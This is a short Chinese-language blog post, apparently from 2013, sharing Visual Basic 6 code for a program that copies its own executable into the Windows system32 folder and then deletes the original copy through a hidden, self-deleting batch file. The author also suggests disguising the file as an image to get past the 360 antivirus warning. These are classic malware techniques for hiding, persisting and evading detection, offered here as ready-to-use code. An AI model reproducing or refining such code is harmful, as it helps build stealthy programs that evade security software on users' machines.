VB

VB自删除+复制到系统目录

Jonty
2013-07-14 / 0 评论 / 83 阅读 / 正在检测是否收录...

以前无聊写的
声明文件复制到C盘属于敏感操作360绝对会提示
或许可以先重命名为一个图片,再复制,再改后缀
代码如下:

Private Sub Form_Load()
If Right(App.Path, 1) = "\" Then
Path = App.Path
ElseIf Right(App.Path, 1) <> "\" Then
Path = App.Path + "\"
End If

If LCase(Path & App.EXEName & ".exe") <> LCase(Environ("windir") & "\system32\Jonty.exe") Then
'MsgBox Path & App.EXEName & ".exe" + vbCrLf + Environ("windir") & "\system32\Jonty.exe"
FileCopy Path & App.EXEName & ".exe", Environ("windir") & "\system32\Jonty.exe"
'Shell Environ("windir") & "\system32\Jonty.exe", vbHide
Call killmyself
Shell Path & "killmyself.bat", vbHide
End
Else
MsgBox "这里执行你要运行的文件"
Call killmyself
End
End If
End Sub

Sub killmyself()
    Open App.Path & "\killmyself.bat" For Output As #1
    '"@echo off" 不显示执行过程
    Print #1, "@echo off"
    Print #1, "sleep 500"
    'a.bat 删除指定文件
    Print #1, "del " & App.EXEName + ".exe"
    'a.bat 删除自身
    Print #1, "del killmyself.bat"
    Print #1, "cls"
    Print #1, "exit"
    Close #1
End Sub
本文共 77 个字数,平均阅读时长 ≈ 1分钟
0

打赏

海报

正在生成.....

评论 (0)

取消